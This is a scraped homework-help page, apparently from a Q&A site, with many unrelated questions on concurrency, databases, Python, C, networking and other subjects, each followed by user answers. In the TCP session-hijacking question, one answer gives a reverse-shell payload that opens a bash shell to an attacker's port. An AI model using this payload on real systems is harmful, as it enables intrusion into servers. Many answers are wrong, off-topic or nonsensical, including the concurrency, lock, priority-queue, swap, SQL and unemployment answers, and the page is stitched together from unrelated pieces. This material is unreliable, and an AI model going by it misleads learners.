Suppose that three different processes, P1, P2, and P3, share the variables x and y and execute the following code fragments concurrently, and that the initial value of y is 8. The instructions to add and subtract in memory are not atomic.

P1: P2: P3:
x = y; x = y; x = y;
x = x + 1; x = x - 1; x = x - 1;
y = x; y = x; y = x;

Which of the following values of y are possible after all three processes finish executing their code fragments?

a. 5
b. 6
c. 7
d. 8
e. 9
f. 10

Answers

Answer 1

Answer:

c. 7

Explanation:

The initial value of the y is 8. When the instructions are inserted in the memory the coding will change its value and the new value for the y will be different from the initial value.  The different is due to the instruction in the memory which are not atomic and the process finishes the execution of the command. The new value will be y - 1 which means 8 -1 = 7.


Related Questions

The moment that S-locks are released will determine:__________

a. The granularity of locks
b. The compliance with ACID
c. The look-ahead logging strategy
d. The anomalies that can happen

Answers

Answer:

A.

Explanation:

In computer science, the selection of a lockable device is an essential consideration in the creation of a database management system.

Granularity locking is a locking technique that is applied in database management systems (DBMS) as well as relational databases. The granularity of locks corresponds to how much data is locked at once, and it is determined when S lock (Shared Locks) are released.

The moment that S-locks are released will determine the granularity of locks (Option a).

A lock can be defined as a procedure capable of enforcing limits on access to a particular resource when there exist many threads of execution.

Multiple granularity locking (abbreviated as MGL) is a locking strategy employed in database management systems and also in relational databases.

This strategy (multiple granularity locking) is often used in order to ensure serializability.

In conclusion, the moment that S-locks are released will determine the granularity of locks (Option a).

Learn more in:

https://brainly.com/question/15691389

16238)
Which type of device often controls iot
tasks?
Desktop
Laptop
Samart phone
switch

Answers

Answer:

Consumer connected devices include smart TVs, smart speakers, toys, wearables and smart appliances. Smart meters, commercial security systems and smart city technologies -- such as those used to monitor traffic and weather conditions -- are examples of industrial and enterprise IoT devices.

Identify the logic error in the code below. The code is supposed to display a single message “child”, “adult” or “senior” for any value of age:

if (age < 18) {
System.out.println("child");
} else if (age >= 18) {
System.out.println("adult");
} else if (age > 65) {
System.out.println("senior");
}
Question 1 options:

a)

no message for age = 65

b)

too many messages for age = 18

c)

no message for age < 65

d)

message “senior” will never be displayed

Answers

If we take a look at the first else if block, the code runs whenever the age is greater than or equal to 18. This means that senior will never be displayed. Answer choice D is correct.

Write multiple if statements. If car_year is 1969 or earlier, print "Few safety features." If 1970 or later, print "Probably has seat belts." If 1990 or later, print "Probably has antilock brakes." If 2000 or later, print "Probably has airbags." End each phrase with a period and a newline.

Sample output for input: 1995
Probably has seat belts.
Probably has antilock brakes.

My code:

car_year = int(input())

if car_year <= 1969:
print('Few safety features.')
elif car_year ==1970:
print('Probably has seat belts.')
elif car_year >= 1990:
print('Probably has seat belts.\nProbably has antilock brakes.')
else:
car_year >= 2000
print('Probably has airbags.')

My output that keeps failing:
Testing with input: 2001
Output differs. See highlights below.
Special character legend
Your output
Probably has seat belts.
Probably has antilock brakes.
Expected output
Probably has seat belts.
Probably has antilock brakes.
Probably has airbags.

Answers

Your problem is that you're using elif and if statements. As soon as one of your statements is true, the other ones don't run. You need to use multiple if statements instead of the elif and else statements. For instance:

car_year = int(input())

if car_year <= 1969:

   print('Few Safety features.')

if car_year >=1970:

   print('Probably has seat belts.')

if car_year >= 1990:

   print('Probably has antilock brakes.')

if car_year >= 2000:

   print('Probably has airbags.')

I wrote my code in python 3.8. I hope this helps.

Answer:

car_year = int(input())

if car_year <= 1969:

  print('Few safety features.')

if car_year >=1970:

  print('Probably has seat belts.')

if car_year >= 1990:

  print('Probably has antilock brakes.')

if car_year >= 2000:

  print('Probably has airbags.')

Explanation:

Just needed to change the capitol S on the previous code to a small s. Works just fine.  in Python.

Your disaster recovery plan calls for tape backups stored at a different location. The location is a safe deposit box at the local bank. Because of this, the disaster recovery plan specifies that you choose a method that uses the fewest tapes, but also allows you to quickly back up and restore files. Which backup strategy would best meet the disaster recovery plan for tape backups?

Answers

☞ANSWER☜

Store Physical Backup Media Offsite. Like data stored in the cloud, offline data stored on physical media is susceptible to unauthorized access. Offsite media storage helps significantly reduce the possibility of theft and physical damage to your media assets from fires, floods and natural disasters.

An incremental backup is one in which successive copies of the data contain only the portion that has changed since the preceding backup copy was made. ... Incremental backups are often desirable as they reduce storage space usage, and are quicker to perform than differential backups.

Write the difference between left-sentential form and
right-sentential form

Answers

Answer:

answer is below

Explanation:

A left-sentential form is a sentential form that occurs in the leftmost derivation of some sentence. A right-sentential form is a sentential form that occurs in the rightmost derivation of some sentence.

You work part time at a computer repair store. You just upgraded the processor in a customer's computer. The computer starts, but it shuts down shortly after starting Windows. Because you know that the problem is related to the processor, you will check any issues related to the processor installation. In this lab, you task is to diagnose and correct the problem.

Answers

Answer:

Explanation:

If the computer is starting up and getting into windows then this means that the processor itself is not dead. First, check to see if the processor fan is spinning correctly when turning on the computer. If it is, then you will need to remove it, and make sure that the processor is perfectly slotted within the cpu slot and that no pins are bent. If this is the case, then clean the cpu top with an alcohol swab and reapply thermal paste. If it is overheating due to any of these reasons it would cause the pc to power off in order to preserve the processor. If none of these fix the problem then it might be a faulty processor or a problem with another component such as the RAM or power cables.

8.
A bank offers the following rate of interest for fixed deposit:
Time (Years)
Rate (%)
9.0
1 to 2
10.0
2 to 3
11.0
> 3
12.0
The amount (A) after n years is calculated by using the formula :
A = P (1 + r/100)
Where P = Principal amount deposited, ,
R = Rate of interest,
n = Number of years
Write a program to accept deposited amount (P), number of years the amount is deposited for (n) and compute
the accrued amount for an investor.​

Answers

Answer:

Simple interest does not add any interest rate on the interest amount ... r = Rate of Interest ... principal amount with the rate of interest and the tenure of the loan or deposit. ... (P x r x t) ÷ (100 x 12) ... Example 1: If you invest Rs.50,000 in a fixed deposit account for a period of 1 year at ... (5,00,000 x 18 x 3) ÷ 100 = Rs.2,70,000.

Explanation:

Write a function NumberOfPennies() that returns the total number of pennies given a number of dollars and (optionally) a number of pennies. Ex: 5 dollars and 6 pennies returns 506.
Sample program:
#include
using namespace std;

int main() {
cout << NumberOfPennies(5, 6) << endl; // Should print 506
cout << NumberOfPennies(4) << endl; // Should print 400
return 0;

Answers

Answer:

Following are the code to the given question:

#include <iostream>//header file  

using namespace std;

int NumberOfPennies(int ND, int NP=0)//defining a method that accepts two parameters  

{

return (ND*100 +NP);//use return keyword that fist multiply by 100 then add the value  

}

int main() //main method

{

cout << NumberOfPennies(5,6) << endl; // Should print 506

cout << NumberOfPennies(4) << endl; // Should print 400

return 0;

}

Output:

506

400

Explanation:

In the method "NumberOfPennies" it accepts two parameters that are "ND and NP" that uses the return keyword that multiply 100 in ND variable and add in NP variable and return its values.

In the main method it it uses the cout method that call the by accepts value in parameter and print its value.

Another method that might be desired is one that updates the Goalie's jerseyNumber. This method will receive a new number of Jersey and set this number to the Goalie's current jerseyNumber. What methods would accomplish this?

Answers

Answer:

A setter method

Explanation:

A setter method will accomplish this. A setter method is a method that takes in a value as an argument and grabs an object's instance variable and modifies it with the value passed as an argument. In this scenario, the argument value would be the current JerseyNumber. The setter method will grab the object's jerseyNumber variable and change its value to be the value of the passed argument. Setter methods are common practice in all object classes as well as the getter methods to retrieve instance variables.

i don’t know what subject to put this question in but does anyone know the difference between a quarter grade and "fin" grade on skyward bc my current quarter grade is very different from my grade on fin and i don’t know what it means

Answers

What's skyward? Explain plz and i'll update the answer.

There is an active Telnet connection from a client (10.0.2.5) to a Telnet server(10.0.2.9). The server has just acknowledged a sequence number1000, and the client has just acknowledged a sequence number 3000. An attacker wants to launch the TCP session hijacking attack on the connection, so he can execute a command on the server. He is on the same local area network as these two computers. You need to construct a TCP packet for the attacker. Please fill in the following fields:
• Source IP and Destination IP
• Source port and Destination port
• Sequence number
• The TCP data field.

Answers

Answer:

Answer is mentioned below.

Explanation:

Source IP and Destination IP: 10.0.2.5, 10.0.2.9 Source port and Destination port: for source port, we need to sniffer a packet in this  Sequence number: 3001 The TCP data field: “/bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1”

I hope you find the answer helpful. All the codes are correctly mentioned. Thanks

Multiply the following two Tom's Tiny floating-point format numbers (8-bit: sign bit, 3-bit 2's complement exponent, 4-bit fraction). Make sure to correctly round the result before putting the answer back in the 8-bit format.

A = 10010011
B = 10101000
AxB = _______

Answers

Answer:

A*B =  00111100

Explanation:

Given data :

A = 10010011

B = 10101000

Find A * B

For A = 10010011  express in sign bit , exponent and number

repeat same process for B

attached below is a detailed solution

A*B =  00111100

Whatever programming language you use will ultimately need to be translated into binary in order for the computer to understand it.

a. True
b. False

Answers

Answer:

Javascript:

function translate(what) {

if (what) {

return 1;

} else if (!what) {

return 0;

}

}

translate(true);

Explanation:

True is 1;

False is 0;

Character positions in
arrays start counting with
the number 1.
True
False

Answers

Answer:

False.

Explanation:

A data dictionary can be defined as a centralized collection of information on a specific data such as attributes, names, fields and definitions that are being used in a computer database system.

In a data dictionary, data elements are combined into records, which are meaningful combinations of data elements that are included in data flows or retained in data stores.

This ultimately implies that, a data dictionary found in a computer database system typically contains the records about all the data elements (objects) such as data relationships with other elements, ownership, type, size, primary keys etc. This records are stored and communicated to other data when required or needed.

In Computer programming, an array can be defined as data structure which comprises of a fixed-size collection of variables each typically holding a piece of data and belonging to the same data type such as strings or integers.

This ultimately implies that, when a programmer wishes to store a group of related data (elements) of the same type, he or she should use an array.

Generally, character positions in arrays start counting with the number 0 not 1.

Hence, an array uses a zero-based indexing and as such the numbering or position of the characters (elements) starts from number 0. Thus, the first character (element) in an array occupies position zero (0), the second number one (1), the third number two (2) and so on.

Consider the following statements. An abstract class is better than an interface when the variables in the abstract class or interface are likely to have changing values. An interface is better than an abstract class when nearly all of the methods in the abstract class or interface are abstract. An abstract class is better than an interface if new methods are likely to be required in the abstract class or interface in the future. An abstract class is better than an interface if a sub class is likely to need to inherit more than one super class. Which of the choices below is correct?

a. I and Il are true
b. I and III are true
c. II and III are true
d. I, II, and III are true
e. I, III, and I are true

Answers

Well the nonchalant question given for 4th grade red named babyface Justin and Jerome

Construct a SQL query that displays a list of colleges, their sity/state, the accrediting agency, and whether or not the school is distance only. Only show the first 10 records.

Answers

Answer:

SELECT college, city_state, accre_agency, distance LIMIT 10

Explanation:

Given

Table name: College

See attachment for table

Required

Retrieve top 10 college, state, agency and school distance from the table

To retrieve from a table, we make use of the SELECT query

The select statement is then followed by the columns to be selected (separated by comma (,))

So, we have:

SELECT college, city_state, accre_agency, distance

From the question, we are to select only first 10 records.

This is achieved using the LIMIT clause

i.e. LIMIT 10 for first 10

So, the complete query is:

SELECT college, city_state, accre_agency, distance LIMIT 10

d. Chipboard
4. Which component of a computer connects the processor to the other hardw
a. Motherboard
b. CPU
c. Punch card
d. Chip
5. Which is referred to the brain of computer?
a. Processor
b. RAM
c. ROM
d Hard drive
6. How many parts are consists in a computer for information processing cycle?
a. Only one part
b. Two parts
Three parts
d Four parts
7. Which among the following if absent, a computer is not complete?
a. Mouse
b. DVD
c. Projector
d. User
8
GET AT​

Answers

Answer:

7

Explanation:

Adobe Indesign project 4 museum indesign file. The instructions are 70 pages long I cant sit still long enough to read them

Answers

Answer:

? Read on to learn about the possible reasons and resolutions. ... Check whether you have the latest update installed for InDesign. ... InDesign cannot open the file when your system does not have enough memory ... Copy page elements into a new document.

Explanation:

The following Integer values are pushed onto a stack, s. The values are pushed onto s in the order that they appear below (left to right).

1 7 4 6 10 9

Assume the following declaration has been made.
PriorityQueue priQue new PriorityQueuecinteger> :

Values are popped off the stack, s, and as each value is popped off the stack, it is inserted into the priority queue, priQue. The following code is then executed.

while (!priQueue.isEmpty()){
System.out.println (priQue.remove ())

The numbers printed to the screen would be: ______

Answers

Answer:

9 10 6 4 7 1

Explanation:

When the values are pushed to the stack they would end up in the stack in the same order as they go in.

1 7 4 6 10 9

when elements are popped from a stack they are removed from the end to the beggining of the stack, and since these elements are being added to the priorityQueue then priQue will have the following order

9 10 6 4 7 1

this will also be the order that the numbers will be printed out from left to right since priorityQueue remove method, removes the elements from left to right.

A digital computer has a memory unit with 16 bits per word. The instruction set consists of 72 different operations. All instructions have an operation code part(opcode) and an address part(allowing for only one address). Each instruction is stored in one word of memory.

Required:
a. How many bits are needed for the opcode?
b. How many bits are left for the address part of the instruction?
c. What is the maximum allowable size for memory?
d. What is the largest unsigned binary number that can be accommodated in one word of memory?

Answers

Answer:

a. 7 bits b. 9 bits c. 1 kB d. 2¹⁶ - 1

Explanation:

a. How many bits are needed for the opcode?

Since there are 72 different operations, we require the number of bits that would contain 72 different operations. So, 2ⁿ ≥ 72

72 = 64 + 8 = 2⁶ + 8

Since n must be an integer value, the closest value of n that would contain 72 different operations is n = 7. So, 2⁷ = 128

So, we require 7 bits for the opcode.

b. How many bits are left for the address part of the instruction?

bits left = bits per word - opcode bit = 16 - 7 = 9 bits

c. What is the maximum allowable size for memory?

Since there are going to be 2⁹ bits to addresses each word and 16 bits  for each word, the maximum allowable size for memory is thus 2⁹ × 16 = 512 × 16 = 8192 bits.

We convert this to bytes

8192 bits × 1 byte/8 bits = 1024 bytes = 1 kB

d. What is the largest unsigned binary number that can be accommodated in one word of memory?

Since the number go from 0 to 2¹⁶, the largest unsigned binary number that can be accommodated in one word of memory is thus

2¹⁶ - 1

Which of these actions will help build relationships with customers : A. Empowering employees to provide the best service possible B. Make follow- up calls after service transactions C. Ask for customer opinions on possible improvements D. all of the above

Answers

Answer: D. all of the above

Explanation:

Customers want to be provided with good service when they shop so it is important that employees are able to do so and they can only do so if they have the tools required. The company should therefore make those tools available thereby empowering employees to provide great service.

Making follow-up calls to customers after they receive a service to check if the service is working out will build customer relations because they will feel that the company cares. Finally, asking customers of their opinions on improvements needed makes them feel they have a voice and will go a long way in establishing rapport with them.

Consider the following pseudocode.
i = 0
sum = 0
REPEAT UNTIL i = 4
i = 1
sum++
DISPLAY sum

What is the output?

Answers

Considering the pseudocode :

i = 0

sum = 0

REPEAT UNTIL i = 4

i = 1

sum++

DISPLAY sum

The output of the pseudocode will be 4.

pseudocode

pseudocode  is a plain language description of the steps in an algorithm or another system.

Let's write the code in python.

i = 0

sum = 0

while i < 4:

   sum += 1

   i += 1

print(sum)

Code explanation:The first line of code, we initialise i as zero.The sum was also initialise as zero.Then we use the while loop to loop through i until its less than 4.Then we add one to the sum for each loop.Then, increase the value of i to continue the loop.Finally, we print the sum.

learn more on pseudocode here : https://brainly.com/question/17101205

I wish we could visit Paris for the holidays into exclamatory​

Answers

Answer:

wdym

Explanation:

You want to visit Paris ? Tbh is sould fun and interesting

Q : Write a simple code, which basically takes a integer value from PC terminal and calculates the solutions on Arduino board and replays the answers to the PC terminal.


a. Power of given value.


b. If number is prime number or not.


you should upload your answers with *.c file with necessary comments.

Answers

Answer:

I have uploaded my answers with *.c file with necessary comments.

Explanation:

a. Power of given value.

A

#include <stdio.h>

int main() {

int base, exp;

long long result = 1;

printf("Enter a base number: ");

scanf("%d", &base);

printf("Enter an exponent: ");

scanf("%d", &exp);

while (exp != 0) {

result *= base;

--exp;

}

printf("Answer = %lld", result);

return 0;

}

b. If number is prime number or not.

#include <stdio.h>

int main() {

int n, i, flag = 0;

printf("Enter a positive integer: ");

scanf("%d", &n);

for (i = 2; i <= n / 2; ++i) {

// condition for non-prime

if (n % i == 0) {

flag = 1;

break;

}

}

if (n == 1) {

printf("1 is neither prime nor composite.");

}

else {

if (flag == 0)

printf("%d is a prime number.", n);

else

printf("%d is not a prime number.", n);

}

return 0;

}

Hope this helps!!!

Implement in a programming language of your choice the void function swap( a, b ) that exchanges the values of 2 passed actual int parameters a and b. State which language you select. Actual parameters a and b are 2 distinct addressable programming objects (variables).

Answers

Answer:

Javascript.

function swap(a, b) {

a = b;

b = a;

// can you explain more, aka for what to return

}

Explanation:

Unemployment rate is a macroeconomic measure that describes:
O A. the percentage of people who are looking for a job but cannot find
one.
B. the value of the goods produced in a country divided by its
population.
c. the total value of goods and services a country produces in a year.
D. the increase in prices of consumer goods over a period of time.



Someone help me ASAP pleaseeee

Answers

Answer:

c

Explanation:

Using a loop and indexed addressing, write code that rotates the members of a 32-bit integer array forward one position. The value at the end of the array must wrap around to the ?rst position. For example, the array [10,20,30,40] would be transformed into [40,10,20,30].

Answers

Answer:

//begin class definition

public class Rotator{

    //main method to execute the program

    public static void main(String []args){

       

       //create and initialize an array with hypothetical values

       int [] arr =  {10, 20, 30, 40};

       

       //create a new array that will hold the rotated values

       //it should have the same length as the original array

       int [] new_arr = new int[arr.length];

       

       

       //loop through the original array up until the

       //penultimate value which is given by 'arr.length - 1'

      for(int i = 0; i < arr.length - 1; i++ ){

           //at each cycle, put the element of the

           //original array into the new array

           //one index higher than its index in the

           //original array.

          new_arr[i + 1] = arr[i];

       }

       

       //Now put the last element of the original array

       //into the zeroth index of the new array

       new_arr[0] = arr[arr.length - 1];

       

       

       //print out the new array in a nice format

      System.out.print("[ ");

       for(int j = 0; j < new_arr.length;  j++){

           System.out.print(new_arr[j] + " ");

       }

       System.out.print("]");

       

    }

   

   

}

Sample Output:

[ 40 10 20 30 ]

Explanation:

The code above is written in Java. It contains comments explaining important parts of the code.  A sample output has also been provided.

Holding all else constant a higher price for ski lift tickets would be expected to

Answers

Answer:

answer is below

Explanation:

decrease the number of skis sold

Newton's method has the advantage of having a faster quadratic convergence rate over the other methods such as Secant and bisection methods.

a. True
b. False

Answers

Answer:

a. True

Explanation:

The Newton's method (Newton-Raphson method) used in advanced statistical computing can be used for a continuous and differentiable function that can be approximated by a straight line tangent to it. It requires the derivative of the function to be known, Newton's method converges faster that is whenever it converges. Newton Raphson Method has quadratic convergence which is faster, and the quadratic convergence makes the error in the next iteration increase by the square of the value of the previous iteration.

Other Questions
Brittney has 13 marbles. Drake has 16 more marbles than Brittney. How many marbles does Drake have? Find the surface area of a prism The ratio of dogs to cats is 4 to 7. how many dogs are present if there is 49 cats hi please answer and show your work PLEASE HELPPPa hot water tank was full of hot water before eddy used 15 gallons to wash clothes now there is only 80% of the water. how much water, in gallons, does the hot water tank hold? a fair coin is flipped 7 times what is the probability of getting all heads Which of the following is true about Harriet Tubman?AShe never returned to the South after escaping from slavery.BShe was born free but captured and made a slave.She served as a spy for the North during the Civil War.DFour people were lost while she was guiding them to freedom. why did europeans countries need to start investing in industries located in other countries? Disadvantages of giving financial rewards to the Olympic athletes A car travels 60 miles in 50 minutes. Calculate the average speed of the car in mph. Yesterday 170 guests at a hotel called for room service, and 255 guests did not call for room service. What percentage of the guests at this hotel called for room service yesterday. please help with this math question How did the western Roman empire finally end? Part D- Isolating a Variable with a Coefficient In some cases, neither of the two equations in the system will contain a variable with a coefficient of 1, so we must take a further step to isolate it. Let's say we now have 30 + 4D = 5 2C + 5D = 2 t to None of these terms has a coefficient of 1. Instead, we'll pick the variable with the smallest coefficient and isolate it. Move the term with the lowest coefficient so that it's alone on one side of its equation, then divide by the coefficient. Which of the following expressions would result from that process? 1. D= 5/4 - 3/4C 2. C= 5/3 - 4/3DPart E- Now that you have one of the two variables in Part D isolated, use substitution to solve for the two variables. You may want to review the Multiplication and Division of Fractions and Simplifying an Expression Primers. Enter the answer as two numbers (either fraction or decimal), separated by a comma, with C first. seventh grade8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25ninth grade8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25Find the median of each data set.Median of seventh grade=Median of ninth grader Ray made a toolbox with the dimensions shown to store garden tools. What is the volume of the toolbox? You can tell the search engine to exclude certain words from search by using a minus sign. True or False Kristin is 30 years old. Her son Reggie is 10 years less than half her age. Which numerical expression represents Reggies age? The population of Nowhere, USA was estimated to be 665,200 in 2004, with an expected increase of 1.9 % per year. At the percent of increasegiven what was the expected population in 2005? Round your answer to the nearest whole number. Brendan is adding to his book collection. He buys 6 books for $15 each. How much money does Brendan spend on the books?